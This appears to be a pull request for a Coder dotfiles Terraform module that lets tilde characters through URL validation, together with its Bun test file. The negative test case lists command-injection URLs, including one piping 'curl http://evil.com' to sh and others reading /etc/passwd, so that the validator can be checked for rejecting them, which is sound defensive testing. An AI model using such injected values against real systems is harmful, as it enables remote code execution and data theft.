## Description The URL validation regex in the dotfiles module was rejecting URLs containing tilde (`~`) characters, which are commonly used in Bitbucket Server for user repositories (e.g. `ssh://git@bitbucket.example.org:7999/~username/repo.git`). This adds `~` to the allowed character set in all three validation regexes (for `default_dotfiles_uri`, `dotfiles_uri`, and the `coder_parameter` validation). ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.3.1` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues Fixes #762 Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com>
69 lines
2.0 KiB
TypeScript
69 lines
2.0 KiB
TypeScript
import { describe, expect, it } from "bun:test";
|
|
import {
|
|
runTerraformApply,
|
|
runTerraformInit,
|
|
testRequiredVariables,
|
|
} from "~test";
|
|
|
|
describe("dotfiles", async () => {
|
|
await runTerraformInit(import.meta.dir);
|
|
|
|
testRequiredVariables(import.meta.dir, {
|
|
agent_id: "foo",
|
|
});
|
|
|
|
it("default output is empty string", async () => {
|
|
const state = await runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
});
|
|
expect(state.outputs.dotfiles_uri.value).toBe("");
|
|
});
|
|
|
|
it("accepts valid git URL formats", async () => {
|
|
const validUrls = [
|
|
"https://github.com/coder/dotfiles",
|
|
"https://github.com/coder/dotfiles.git",
|
|
"git@github.com:coder/dotfiles.git",
|
|
"git://github.com/coder/dotfiles.git",
|
|
"ssh://git@github.com/coder/dotfiles.git",
|
|
"ssh://git@bitbucket.example.org:7999/~myusername/dotfiles.git",
|
|
];
|
|
for (const url of validUrls) {
|
|
const state = await runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
dotfiles_uri: url,
|
|
});
|
|
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
|
}
|
|
});
|
|
|
|
it("rejects invalid or malicious URLs", async () => {
|
|
const invalidUrls = [
|
|
"https://github.com/user/repo; curl http://evil.com | sh",
|
|
"https://github.com/$(whoami)/repo",
|
|
"https://github.com/`id`/repo",
|
|
"https://github.com/user/repo|cat /etc/passwd",
|
|
"file:///etc/passwd",
|
|
"not-a-valid-url",
|
|
];
|
|
for (const url of invalidUrls) {
|
|
await expect(
|
|
runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
dotfiles_uri: url,
|
|
}),
|
|
).rejects.toThrow();
|
|
}
|
|
});
|
|
|
|
it("set custom order for coder_parameter", async () => {
|
|
const order = 99;
|
|
const state = await runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
coder_parameter_order: order.toString(),
|
|
});
|
|
expect(state.resources).toHaveLength(2);
|
|
expect(state.resources[0].instances[0].attributes.order).toBe(order);
|
|
});
|
|
});
|